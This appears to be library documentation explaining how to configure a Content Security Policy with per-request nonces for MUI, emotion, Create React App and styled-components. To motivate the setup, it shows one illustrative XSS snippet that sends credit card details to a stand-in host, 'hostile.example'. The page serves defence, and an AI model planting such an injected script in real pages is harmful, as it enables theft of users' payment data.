Content Security Policy (CSP)

This section covers the details of setting up a CSP.

What is CSP and why is it useful?

CSP mitigates cross-site scripting (XSS) attacks by requiring developers to whitelist the sources their assets are retrieved from. This list is returned as a header from the server. For instance, say you have a site hosted at `https://example.com` the CSP header `default-src: 'self';` will allow all assets that are located at `https://example.com/*` and deny all others. If there is a section of your website that is vulnerable to XSS where unescaped user input is displayed, an attacker could input something like:

```
<script>
  sendCreditCardDetails('https://hostile.example');
</script>
```

This vulnerability would allow the attacker to execute anything. However, with a secure CSP header, the browser will not load this script.

You can read more about CSP on the MDN Web Docs.

How does one implement CSP?

Server-Side Rendering (SSR)

To use CSP with MUI (and emotion), you need to use a nonce. A nonce is a randomly generated string that is only used once, therefore you need to add server middleware to generate one on each request.

A CSP nonce is a Base 64 encoded string. You can generate one like this:

```
import uuidv4 from 'uuid/v4';

const nonce = new Buffer(uuidv4()).toString('base64');
```

You must use UUID version 4, as it generates an **unpredictable** string. You then apply this nonce to the CSP header. A CSP header might look like this with the nonce applied:

```
header('Content-Security-Policy').set(
  `default-src 'self'; style-src 'self' 'nonce-${nonce}';`,
);
```

You should pass the nonce in the `<style>` tags on the server.

```
<style
  data-emotion={`${style.key} ${style.ids.join(' ')}`}
  nonce={nonce}
```

```
  dangerouslySetInnerHTML={{ __html: style.css }}
/>
```

Then, you must pass this nonce to the emotion cache so it can add it to subsequent `<style>`.

> Note, if you were using `StyledEngineProvider` with `injectFirst`, you will need to replace it with `CacheProvider` from emotion and add the `prepend: true` option.

```
const cache = createCache({
  key: 'my-prefix-key',
  nonce: nonce,
  prepend: true,
});

function App(props) {
  return (
    <CacheProvider value={cache}>
      <Home />
    </CacheProvider>
  );
}
```

Create React App (CRA)

According to the Create React App Docs, a Create React App will dynamically embed the runtime script into index.html during the production build by default. This will require a new hash to be set in your CSP during each deployment.

To use a CSP with a project initialized as a Create React App, you will need to set the `INLINE_RUNTIME_CHUNK=false` variable in the `.env` file used for your production build. This will import the runtime script as usual instead of embedding it, avoiding the need to set a new hash during each deployment.

styled-components

The configuration of the nonce is not straightforward, but you can follow this issue for more insights.